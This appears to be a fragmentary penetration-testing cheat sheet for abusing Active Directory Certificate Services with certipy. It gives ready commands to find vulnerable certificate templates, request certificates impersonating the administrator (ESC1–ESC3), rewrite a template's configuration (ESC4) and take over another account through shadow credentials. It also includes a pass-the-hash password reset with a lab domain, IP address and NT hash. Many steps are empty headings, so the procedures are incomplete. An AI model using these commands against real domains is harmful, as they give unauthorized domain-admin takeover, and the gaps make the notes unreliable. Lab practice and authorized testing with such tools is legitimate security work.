Active Directory Certificate Services (AD CS)

If we have ports 3268, 3269 open, certificates should be checked!

Find Vulnerable Certificates

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdout

ESC1: Misconfigured Certificate Templates

First Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>

Second Step

ESC2: Misconfigured Certificate Templates

First Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>

Second Step

Third Step

ESC3: Enrollment Agent Templates

First Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>

Second Step

Third Step

ESC4: Vulnerable Certificate Template Access Control

First Step

First, overwrite the configuration to make it vulnerable to ESC1

certipy-ad template -dc-ip <ip> -u <user> -p <pass> -template <templateName> -target <ip> -save-old

Second Tab

Untitled

ESC9

Step 1

User 1 have GenericWrite to user2, we can get the user2 hash using shadow Crentials because of user's1 GenericWrite

certipy shadow auto -username <user1>@<domain> -p <pass1> -account <user2>

We can also change the password of that user:

pth-net rpc password "ca_operator" "Password123" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S "10.10.11.41" 

Step 2

Step 3

Step 4